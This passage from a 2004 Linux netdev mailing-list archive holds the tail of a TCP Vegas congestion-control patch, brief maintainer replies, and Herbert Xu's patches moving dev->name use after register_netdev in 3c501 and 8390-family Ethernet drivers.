assumed senders never went idle. + */ +static void vegas_cong_avoid(struct tcp_opt *tp, u32 ack, u32 seq_rtt) +{ + /* The key players are v_beg_snd_una and v_beg_snd_nxt. + * + * These are so named because they represent the approximate values + * of snd_una and snd_nxt at the beginning of the current RTT. More + * precisely, they represent the amount of data sent during the RTT. + * At the end of the RTT, when we receive an ACK for v_beg_snd_nxt, + * we will calculate that (v_beg_snd_nxt - v_beg_snd_una) outstanding + * bytes of data have been ACKed during the course of the RTT, giving + * an "actual" rate of: + * + * (v_beg_snd_nxt - v_beg_snd_una) / (rtt duration) + * + * Unfortunately, v_beg_snd_una is not exactly equal to snd_una, + * because delayed ACKs can cover more than one segment, so they + * don't line up nicely with the boundaries of RTTs. + * + * Another unfortunate fact of life is that delayed ACKs delay the + * advance of the left edge of our send window, so that the number + * of bytes we send in an RTT is often less than our cwnd will allow. + * So we keep track of our cwnd separately, in v_beg_snd_cwnd. + */ + + if (after(ack, tp->vegas.beg_snd_nxt)) { + /* Do the Vegas once-per-RTT cwnd adjustment. */ + u32 old_wnd, old_snd_cwnd; + + + /* Here old_wnd is essentially the window of data that was + * sent during the previous RTT, and has all + * been acknowledged in the course of the RTT that ended + * with the ACK we just received. Likewise, old_snd_cwnd + * is the cwnd during the previous RTT. + */ + old_wnd = (tp->vegas.beg_snd_nxt - tp->vegas.beg_snd_una) / + tp->mss_cache; + old_snd_cwnd = tp->vegas.beg_snd_cwnd; + + /* Save the extent of the current window so we can use this + * at the end of the next RTT. + */ + tp->vegas.beg_snd_una = tp->vegas.beg_snd_nxt; + tp->vegas.beg_snd_nxt = tp->snd_nxt; + tp->vegas.beg_snd_cwnd = tp->snd_cwnd; + + /* Take into account the current RTT sample too, to + * decrease the impact of delayed acks. This double counts + * this sample since we count it for the next window as well, + * but that's not too awful, since we're taking the min, + * rather than averaging. + */ + vegas_rtt_calc(tp, seq_rtt); + + /* We do the Vegas calculations only if we got enough RTT + * samples that we can be reasonably sure that we got + * at least one RTT sample that wasn't from a delayed ACK. + * If we only had 2 samples total, + * then that means we're getting only 1 ACK per RTT, which + * means they're almost certainly delayed ACKs. + * If we have 3 samples, we should be OK. + */ + + if (tp->vegas.cntRTT <= 2) { + /* We don't have enough RTT samples to do the Vegas + * calculation, so we'll behave like Reno. + */ + if (tp->snd_cwnd > tp->snd_ssthresh) + tp->snd_cwnd++; + } else { + u32 rtt, target_cwnd, diff; + + /* We have enough RTT samples, so, using the Vegas + * algorithm, we determine if we should increase or + * decrease cwnd, and by how much. + */ + + /* Pluck out the RTT we are using for the Vegas + * calculations. This is the min RTT seen during the + * last RTT. Taking the min filters out the effects + * of delayed ACKs, at the cost of noticing congestion + * a bit later. + */ + rtt = tp->vegas.minRTT; + + /* Calculate the cwnd we should have, if we weren't + * going too fast. + * + * This is: + * (actual rate in segments) * baseRTT + * We keep it as a fixed point number with + * V_PARAM_SHIFT bits to the right of the binary point. + */ + target_cwnd = ((old_wnd * tp->vegas.baseRTT) + << V_PARAM_SHIFT) / rtt; + + /* Calculate the difference between the window we had, + * and the window we would like to have. This quantity + * is the "Diff" from the Arizona Vegas papers. + * + * Again, this is a fixed point number with + * V_PARAM_SHIFT bits to the right of the binary + * point. + */ + diff = (old_wnd << V_PARAM_SHIFT) - target_cwnd; + + if (tp->snd_cwnd < tp->snd_ssthresh) { + /* Slow start. */ + if (diff > sysctl_tcp_vegas_gamma) { + /* Going too fast. Time to slow down + * and switch to congestion avoidance. + */ + tp->snd_ssthresh = 2; + + /* Set cwnd to match the actual rate + * exactly: + * cwnd = (actual rate) * baseRTT + * Then we add 1 because the integer + * truncation robs us of full link + * utilization. + */ + tp->snd_cwnd = min(tp->snd_cwnd, + (target_cwnd >> + V_PARAM_SHIFT)+1); + + } + } else { + /* Congestion avoidance. */ + u32 next_snd_cwnd; + + /* Figure out where we would like cwnd + * to be. + */ + if (diff > sysctl_tcp_vegas_beta) { + /* The old window was too fast, so + * we slow down. + */ + next_snd_cwnd = old_snd_cwnd - 1; + } else if (diff < sysctl_tcp_vegas_alpha) { + /* We don't have enough extra packets + * in the network, so speed up. + */ + next_snd_cwnd = old_snd_cwnd + 1; + } else { + /* Sending just as fast as we + * should be. + */ + next_snd_cwnd = old_snd_cwnd; + } + + /* Adjust cwnd upward or downward, toward the + * desired value. + */ + if (next_snd_cwnd > tp->snd_cwnd) + tp->snd_cwnd++; + else if (next_snd_cwnd < tp->snd_cwnd) + tp->snd_cwnd--; + } + } + + /* Wipe the slate clean for the next RTT. */ + tp->vegas.cntRTT = 0; + tp->vegas.minRTT = 0x7fffffff; + } + + /* The following code is executed for every ack we receive, + * except for conditions checked in should_advance_cwnd() + * before the call to tcp_cong_avoid(). Mainly this means that + * we only execute this code if the ack actually acked some + * data. + */ + + /* If we are in slow start, increase our cwnd in response to this ACK. + * (If we are not in slow start then we are in congestion avoidance, + * and adjust our congestion window only once per RTT. See the code + * above.) + */ + if (tp->snd_cwnd <= tp->snd_ssthresh) + tp->snd_cwnd++; + + /* to keep cwnd from growing without bound */ + tp->snd_cwnd = min_t(u32, tp->snd_cwnd, tp->snd_cwnd_clamp); + + /* Make sure that we are never so timid as to reduce our cwnd below + * 2 MSS. + * + * Going below 2 MSS would risk huge delayed ACKs from our receiver. + */ + tp->snd_cwnd = max(tp->snd_cwnd, 2U); + + tp->snd_cwnd_stamp = tcp_time_stamp; +} + +static inline void tcp_cong_avoid(struct tcp_opt *tp, u32 ack, u32 seq_rtt) +{ + if (tcp_vegas_enabled(tp)) + vegas_cong_avoid(tp, ack, seq_rtt); + else + reno_cong_avoid(tp); +} + /* Restart timer after forward progress on connection. * RFC2988 recommends to restart timer to now+rto. */ @@ -1848,7 +2132,7 @@ static __inline__ void tcp_ack_packets_o } /* Remove acknowledged frames from the retransmission queue. */ -static int tcp_clean_rtx_queue(struct sock *sk) +static int tcp_clean_rtx_queue(struct sock *sk, __s32 *seq_rtt_p) { struct tcp_opt *tp = tcp_sk(sk); struct sk_buff *skb; @@ -1934,6 +2218,7 @@ static int tcp_clean_rtx_queue(struct so } } #endif + *seq_rtt_p = seq_rtt; return acked; } @@ -2294,6 +2579,7 @@ static int tcp_ack(struct sock *sk, stru u32 ack_seq = TCP_SKB_CB(skb)->seq; u32 ack = TCP_SKB_CB(skb)->ack_seq; u32 prior_in_flight; + s32 seq_rtt; int prior_packets; /* If the ack is newer than sent or older than previous acks @@ -2345,7 +2631,7 @@ static int tcp_ack(struct sock *sk, stru prior_in_flight = tcp_packets_in_flight(tp); /* See if we can take anything off of the retransmit queue. */ - flag |= tcp_clean_rtx_queue(sk); + flag |= tcp_clean_rtx_queue(sk, &seq_rtt); if (tp->frto_counter) tcp_process_frto(sk, prior_snd_una); @@ -2353,13 +2639,14 @@ static int tcp_ack(struct sock *sk, stru if (tcp_ack_is_dubious(tp, flag)) { /* Advanve CWND, if state allows this. */ if ((flag & FLAG_DATA_ACKED) && - prior_in_flight >= tp->snd_cwnd && + (tcp_vegas_enabled(tp) || prior_in_flight >= tp->snd_cwnd) && tcp_may_raise_cwnd(tp, flag)) - tcp_cong_avoid(tp); + tcp_cong_avoid(tp, ack, seq_rtt); tcp_fastretrans_alert(sk, prior_snd_una, prior_packets, flag); } else { - if ((flag & FLAG_DATA_ACKED) && prior_in_flight >= tp->snd_cwnd) - tcp_cong_avoid(tp); + if ((flag & FLAG_DATA_ACKED) && + (tcp_vegas_enabled(tp) || prior_in_flight >= tp->snd_cwnd)) + tcp_cong_avoid(tp, ack, seq_rtt); } if ((flag & FLAG_FORWARD_PROGRESS) || !(flag&FLAG_NOT_DUP)) diff -urNp -X dontdiff linux-2.6/net/ipv4/tcp_minisocks.c tcp-vegas-2.6/net/ipv4/tcp_minisocks.c --- linux-2.6/net/ipv4/tcp_minisocks.c 2004-03-01 08:55:47.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_minisocks.c 2004-03-08 09:33:16.000000000 -0800 @@ -769,7 +769,7 @@ struct sock *tcp_create_openreq_child(st newtp->frto_counter = 0; newtp->frto_highmark = 0; - newtp->ca_state = TCP_CA_Open; + tcp_set_ca_state(newtp, TCP_CA_Open); tcp_init_xmit_timers(newsk); skb_queue_head_init(&newtp->out_of_order_queue); newtp->send_head = NULL; @@ -841,6 +841,8 @@ struct sock *tcp_create_openreq_child(st if (newtp->ecn_flags&TCP_ECN_OK) newsk->sk_no_largesend = 1; + tcp_vegas_init(newtp); + TCP_INC_STATS_BH(TcpPassiveOpens); } return newsk; diff -urNp -X dontdiff linux-2.6/net/ipv4/tcp_output.c tcp-vegas-2.6/net/ipv4/tcp_output.c --- linux-2.6/net/ipv4/tcp_output.c 2004-01-23 09:39:28.000000000 -0800 +++ tcp-vegas-2.6/net/ipv4/tcp_output.c 2004-03-09 14:05:56.000000000 -0800 @@ -105,7 +105,9 @@ static void tcp_cwnd_restart(struct tcp_ s32 delta = tcp_time_stamp - tp->lsndtime; u32 restart_cwnd = tcp_init_cwnd(tp, dst); u32 cwnd = tp->snd_cwnd; - + + if (tcp_is_vegas(tp)) + tcp_vegas_enable(tp); tp->snd_ssthresh = tcp_current_ssthresh(tp); restart_cwnd = min(restart_cwnd, cwnd); @@ -225,6 +227,19 @@ int tcp_transmit_skb(struct sock *sk, st tcp_header_size += (TCPOLEN_SACK_BASE_ALIGNED + (tp->eff_sacks * TCPOLEN_SACK_PERBLOCK)); } + + /* + * If the connection is idle and we are restarting, + * then we don't want to do any Vegas calculations + * until we get fresh RTT samples. So when we + * restart, we reset our Vegas state to a clean + * slate. After we get acks for this flight of + * packets, _then_ we can make Vegas calculations + * again. + */ + if (tcp_is_vegas(tp) && tcp_packets_in_flight(tp) == 0) + tcp_vegas_enable(tp); + th = (struct tcphdr *) skb_push(skb, tcp_header_size); skb->h.th = th; skb_set_owner_w(skb, sk); @@ -869,7 +884,7 @@ void tcp_simple_retransmit(struct sock * tp->snd_ssthresh = tcp_current_ssthresh(tp); tp->prior_ssthresh = 0; tp->undo_marker = 0; - tp->ca_state = TCP_CA_Loss; + tcp_set_ca_state(tp, TCP_CA_Loss); } tcp_xmit_retransmit_queue(sk); } @@ -1268,6 +1283,7 @@ static inline void tcp_connect_init(stru tp->window_clamp = dst_metric(dst, RTAX_WINDOW); tp->advmss = dst_metric(dst, RTAX_ADVMSS); tcp_initialize_rcv_mss(sk); + tcp_vegas_init(tp); tcp_select_initial_window(tcp_full_space(sk), tp->advmss - (tp->ts_recent_stamp ? tp->tcp_header_len - sizeof(struct tcphdr) : 0), @@ -1318,6 +1334,7 @@ int tcp_connect(struct sock *sk) TCP_SKB_CB(buff)->end_seq = tp->write_seq; tp->snd_nxt = tp->write_seq; tp->pushed_seq = tp->write_seq; + tcp_vegas_init(tp); /* Send it off. */ TCP_SKB_CB(buff)->when = tcp_time_stamp; From jgarzik@pobox.com Fri Mar 12 18:31:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 18:31:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D2V8KO020500 for ; Fri, 12 Mar 2004 18:31:08 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33079 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1yva-000535-Fw; Sat, 13 Mar 2004 02:31:06 +0000 Message-ID: <4052725E.6050707@pobox.com> Date: Fri, 12 Mar 2004 21:30:54 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ravinandan arakali CC: "'Leonid Grossman'" , netdev@oss.sgi.com, "'Stephen Hemminger'" , "'Christoph Hellwig'" , raghavendra.koushik@s2io.com Subject: Re: Submission #3 for S2io 10GbE driver References: <002f01c4087c$c1df99c0$6610100a@S2IOtech.com> In-Reply-To: <002f01c4087c$c1df99c0$6610100a@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3968 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 211 Lines: 12 ravinandan arakali wrote: > Hi Jeff, > Regarding comment #15, we don't think locking is required, because we > just reflect what ever the statistics block is reflecting at the current > moment. Cool. Jeff From jgarzik@pobox.com Fri Mar 12 18:41:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 18:42:47 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D2fOKO020894 for ; Fri, 12 Mar 2004 18:41:25 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33093 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1z5X-000586-An; Sat, 13 Mar 2004 02:41:23 +0000 Message-ID: <405274C7.1070803@pobox.com> Date: Fri, 12 Mar 2004 21:41:11 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com, dsaxena@plexity.net Subject: Re: [e100 2.6] fix stray skb pointer References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3969 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From herbert@gondor.apana.org.au Fri Mar 12 18:59:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 18:59:54 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D2xpKO021396 for ; Fri, 12 Mar 2004 18:59:52 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B1zNF-0006AE-00; Sat, 13 Mar 2004 13:59:41 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B1zNE-00028l-00; Sat, 13 Mar 2004 13:59:40 +1100 Date: Sat, 13 Mar 2004 13:59:40 +1100 To: Jeff Garzik , netdev@oss.sgi.com Subject: [3C501] Do not use dev->name before register_netdev Message-ID: <20040313025940.GA8218@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="W/nzBZO5zC0uMSeA" Content-Disposition: inline In-Reply-To: <20040313025859.GA8186@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3971 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 3021 Lines: 113 --W/nzBZO5zC0uMSeA Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Mar 13, 2004 at 01:58:59PM +1100, herbert wrote: > > This patch replaces/removes all uses of dev->name in 8390 drivers. > As it is, these drivers will do printks or allocate resources with > the name eth%d. Here is the same fix for 3c501. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --W/nzBZO5zC0uMSeA Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="devname.1" Index: kernel-2.5/drivers/net/3c501.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/3c501.c,v retrieving revision 1.1.1.9 diff -u -r1.1.1.9 3c501.c --- kernel-2.5/drivers/net/3c501.c 19 Feb 2004 08:54:53 -0000 1.1.1.9 +++ kernel-2.5/drivers/net/3c501.c 12 Mar 2004 22:49:08 -0000 @@ -182,20 +182,12 @@ } else if (io != 0) { err = -ENXIO; /* Don't probe at all. */ } else { - for (port = ports; *port && el1_probe1(dev, *port); port++) - ; - if (!*port) - err = -ENODEV; + for (port = ports; *port; port++) + if (!(err = el1_probe1(dev, *port))) + break; } - if (err) - goto out; - err = register_netdev(dev); - if (err) - goto out1; - return dev; -out1: - release_region(dev->base_addr, EL1_IO_EXTENT); -out: + if (err == 0) + return dev; free_netdev(dev); return ERR_PTR(err); } @@ -220,12 +212,13 @@ unsigned char station_addr[6]; int autoirq = 0; int i; + int err; /* * Reserve I/O resource for exclusive use by this driver */ - if (!request_region(ioaddr, EL1_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, EL1_IO_EXTENT, "3c501")) return -ENODEV; /* @@ -295,16 +288,6 @@ if (autoirq) dev->irq = autoirq; - printk(KERN_INFO "%s: %s EtherLink at %#lx, using %sIRQ %d.\n", dev->name, mname, dev->base_addr, - autoirq ? "auto":"assigned ", dev->irq); - -#ifdef CONFIG_IP_MULTICAST - printk(KERN_WARNING "WARNING: Use of the 3c501 in a multicast kernel is NOT recommended.\n"); -#endif - - if (el_debug) - printk(KERN_DEBUG "%s", version); - memset(dev->priv, 0, sizeof(struct net_local)); lp=dev->priv; spin_lock_init(&lp->lock); @@ -321,6 +304,23 @@ dev->get_stats = &el1_get_stats; dev->set_multicast_list = &set_multicast_list; dev->ethtool_ops = &netdev_ethtool_ops; + + err = register_netdev(dev); + if (err) { + release_region(ioaddr, EL1_IO_EXTENT); + return err; + } + + printk(KERN_INFO "%s: %s EtherLink at %#lx, using %sIRQ %d.\n", dev->name, mname, dev->base_addr, + autoirq ? "auto":"assigned ", dev->irq); + +#ifdef CONFIG_IP_MULTICAST + printk(KERN_WARNING "WARNING: Use of the 3c501 in a multicast kernel is NOT recommended.\n"); +#endif + + if (el_debug) + printk(KERN_DEBUG "%s", version); + return 0; } --W/nzBZO5zC0uMSeA-- From herbert@gondor.apana.org.au Fri Mar 12 18:59:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 18:59:37 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D2xRKO021359 for ; Fri, 12 Mar 2004 18:59:28 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B1zMk-0006A9-00; Sat, 13 Mar 2004 13:59:10 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B1zMZ-00028K-00; Sat, 13 Mar 2004 13:58:59 +1100 Date: Sat, 13 Mar 2004 13:58:59 +1100 To: Jeff Garzik , netdev@oss.sgi.com Subject: [8390] Do not use dev->name before register_netdev Message-ID: <20040313025859.GA8186@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="DocE+STaALJfprDB" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3970 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 42009 Lines: 1354 --DocE+STaALJfprDB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi: This patch replaces/removes all uses of dev->name in 8390 drivers. As it is, these drivers will do printks or allocate resources with the name eth%d. Cheers, -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --DocE+STaALJfprDB Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="devname.2" Index: kernel-2.5/drivers/net/3c503.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/3c503.c,v retrieving revision 1.1.1.6 diff -u -r1.1.1.6 3c503.c --- kernel-2.5/drivers/net/3c503.c 19 Feb 2004 08:54:53 -0000 1.1.1.6 +++ kernel-2.5/drivers/net/3c503.c 13 Mar 2004 00:58:56 -0000 @@ -147,6 +147,7 @@ release_region(dev->base_addr, EL2_IO_EXTENT); } +#ifndef MODULE struct net_device * __init el2_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -161,7 +162,7 @@ err = do_el2_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -171,6 +172,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif /* Probe for the Etherlink II card at I/O port base IOADDR, returning non-zero on success. If found, set the station @@ -182,10 +184,10 @@ static unsigned version_printed; unsigned long vendor_id; - if (!request_region(ioaddr, EL2_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, EL2_IO_EXTENT, "3c503")) return -EBUSY; - if (!request_region(ioaddr + 0x400, 8, dev->name)) { + if (!request_region(ioaddr + 0x400, 8, "3c503")) { retval = -EBUSY; goto out; } @@ -226,11 +228,11 @@ dev->base_addr = ioaddr; - printk("%s: 3c503 at i/o base %#3x, node ", dev->name, ioaddr); + printk("3c503 at i/o base %#3x", ioaddr); - /* Retrieve and print the ethernet address. */ + /* Retrieve the ethernet address. */ for (i = 0; i < 6; i++) - printk(" %2.2x", dev->dev_addr[i] = inb(ioaddr + i)); + dev->dev_addr[i] = inb(ioaddr + i); /* Map the 8390 back into the window. */ outb(ECNTRL_THIN, ioaddr + 0x406); @@ -339,16 +341,16 @@ dev->ethtool_ops = &netdev_ethtool_ops; if (dev->mem_start) - printk("%s: %s - %dkB RAM, 8kB shared mem window at %#6lx-%#6lx.\n", - dev->name, ei_status.name, (wordlength+1)<<3, + printk("3c503: %s - %dkB RAM, 8kB shared mem window at %#6lx-%#6lx.\n", + ei_status.name, (wordlength+1)<<3, dev->mem_start, dev->mem_end-1); else { ei_status.tx_start_page = EL2_MB1_START_PG; ei_status.rx_start_page = EL2_MB1_START_PG + TX_PAGES; - printk("\n%s: %s, %dkB RAM, using programmed I/O (REJUMPER for SHARED MEMORY).\n", - dev->name, ei_status.name, (wordlength+1)<<3); + printk("3c503: %s, %dkB RAM, using programmed I/O (REJUMPER for SHARED MEMORY).\n", + ei_status.name, (wordlength+1)<<3); } release_region(ioaddr + 0x400, 8); return 0; @@ -697,7 +699,7 @@ dev->base_addr = io[this_dev]; dev->mem_end = xcvr[this_dev]; /* low 4bits = xcvr sel. */ if (do_el2_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_el2[found++] = dev; continue; } Index: kernel-2.5/drivers/net/8390.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/8390.c,v retrieving revision 1.1.1.8 diff -u -r1.1.1.8 8390.c --- kernel-2.5/drivers/net/8390.c 11 Mar 2004 02:55:22 -0000 1.1.1.8 +++ kernel-2.5/drivers/net/8390.c 13 Mar 2004 00:24:28 -0000 @@ -1024,6 +1024,27 @@ ethdev_setup); } +/** + * register_ei_netdev - register_netdev counterpart for 8390 + * + * Register 8390-specific net_device. + */ +int register_ei_netdev(struct net_device *dev) +{ + int err; + int i; + + err = register_netdev(dev); + if (err) + return err; + + printk(KERN_INFO "%s: %s found at %#lx, IRQ %d,", + dev->name, ei_status.name, dev->base_addr, dev->irq); + for (i = 0; i < ETHER_ADDR_LEN; i++) + printk("%2.2X%s", dev->dev_addr[i], i == 5 ? ".\n" : ":"); + return 0; +} + Index: kernel-2.5/drivers/net/8390.h =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/8390.h,v retrieving revision 1.1.1.6 diff -u -r1.1.1.6 8390.h --- kernel-2.5/drivers/net/8390.h 19 Feb 2004 08:54:54 -0000 1.1.1.6 +++ kernel-2.5/drivers/net/8390.h 12 Mar 2004 22:56:26 -0000 @@ -48,6 +48,7 @@ { return __alloc_ei_netdev(0); } +extern int register_ei_netdev(struct net_device *dev); /* You have one of these per-board */ struct ei_device { Index: kernel-2.5/drivers/net/ac3200.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/ac3200.c,v retrieving revision 1.1.1.6 diff -u -r1.1.1.6 ac3200.c --- kernel-2.5/drivers/net/ac3200.c 19 Feb 2004 08:54:55 -0000 1.1.1.6 +++ kernel-2.5/drivers/net/ac3200.c 13 Mar 2004 01:00:51 -0000 @@ -130,6 +130,7 @@ iounmap((void *)dev->mem_start); } +#ifndef MODULE struct net_device * __init ac3200_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -144,7 +145,7 @@ err = do_ac3200_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -154,12 +155,13 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init ac_probe1(int ioaddr, struct net_device *dev) { int i, retval; - if (!request_region(ioaddr, AC_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, AC_IO_EXTENT, "ac3200")) return -EBUSY; if (inb_p(ioaddr + AC_ID_PORT) == 0xff) { @@ -179,9 +181,9 @@ inb(ioaddr + AC_ID_PORT + 2), inb(ioaddr + AC_ID_PORT + 3)); #endif - printk("AC3200 in EISA slot %d, node", ioaddr/0x1000); + printk("AC3200 in EISA slot %d", ioaddr/0x1000); for(i = 0; i < 6; i++) - printk(" %02x", dev->dev_addr[i] = inb(ioaddr + AC_SA_PROM + i)); + dev->dev_addr[i] = inb(ioaddr + AC_SA_PROM + i); #if 0 /* Check the vendor ID/prefix. Redundant after checking the EISA ID */ @@ -203,7 +205,7 @@ printk(", assigning"); } - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, "ac3200", dev); if (retval) { printk (" nothing! Unable to get IRQ %d.\n", dev->irq); goto out1; @@ -227,8 +229,8 @@ dev->if_port = inb(ioaddr + AC_CONFIG) >> 6; dev->mem_start = config2mem(inb(ioaddr + AC_CONFIG)); - printk("%s: AC3200 at %#3x with %dkB memory at physical address %#lx.\n", - dev->name, ioaddr, AC_STOP_PG/4, dev->mem_start); + printk("ac3200: AC3200 at %#3x with %dkB memory at physical address %#lx.\n", + ioaddr, AC_STOP_PG/4, dev->mem_start); /* * BEWARE!! Some dain-bramaged EISA SCUs will allow you to put @@ -395,7 +397,7 @@ dev->base_addr = io[this_dev]; dev->mem_start = mem[this_dev]; /* Currently ignored by driver */ if (do_ac3200_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_ac32[found++] = dev; continue; } Index: kernel-2.5/drivers/net/apne.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/apne.c,v retrieving revision 1.1.1.6 diff -u -r1.1.1.6 apne.c --- kernel-2.5/drivers/net/apne.c 11 Mar 2004 02:55:54 -0000 1.1.1.6 +++ kernel-2.5/drivers/net/apne.c 13 Mar 2004 00:24:37 -0000 @@ -168,7 +168,7 @@ return ERR_PTR(-ENODEV); } - if (!request_region(IOBASE, 0x20, dev->name)) { + if (!request_region(IOBASE, 0x20, "apne")) { free_netdev(dev); return ERR_PTR(-EBUSY); } @@ -179,7 +179,7 @@ free_netdev(dev); return ERR_PTR(err); } - err = register_netdev(dev); + err = register_ei_netdev(dev); if (!err) return dev; @@ -310,15 +310,12 @@ dev->base_addr = ioaddr; /* Install the Interrupt handler */ - i = request_irq(IRQ_AMIGA_PORTS, apne_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(IRQ_AMIGA_PORTS, apne_interrupt, SA_SHIRQ, "apne", dev); if (i) return i; - for(i = 0; i < ETHER_ADDR_LEN; i++) { - printk(" %2.2x", SA_prom[i]); - dev->dev_addr[i] = SA_prom[i]; - } + memcpy(dev_addr, SA_prom, ETHER_ADDR_LEN); - printk("\n%s: %s found.\n", dev->name, name); + printk("\n"); ei_status.name = name; ei_status.tx_start_page = start_page; Index: kernel-2.5/drivers/net/e2100.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/e2100.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 e2100.c --- kernel-2.5/drivers/net/e2100.c 19 Feb 2004 08:54:59 -0000 1.1.1.5 +++ kernel-2.5/drivers/net/e2100.c 13 Mar 2004 01:52:57 -0000 @@ -144,6 +144,7 @@ release_region(dev->base_addr, E21_IO_EXTENT); } +#ifndef MODULE struct net_device * __init e2100_probe(int unit) { struct net_device *dev = alloc_ei_netdev(); @@ -158,7 +159,7 @@ err = do_e2100_probe(dev); if (err) goto out; - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) goto out1; return dev; @@ -168,6 +169,7 @@ free_netdev(dev); return ERR_PTR(err); } +#endif static int __init e21_probe1(struct net_device *dev, int ioaddr) { @@ -175,7 +177,7 @@ unsigned char *station_addr = dev->dev_addr; static unsigned version_printed; - if (!request_region(ioaddr, E21_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, E21_IO_EXTENT, "e2100")) return -EBUSY; /* First check the station address for the Ctron prefix. 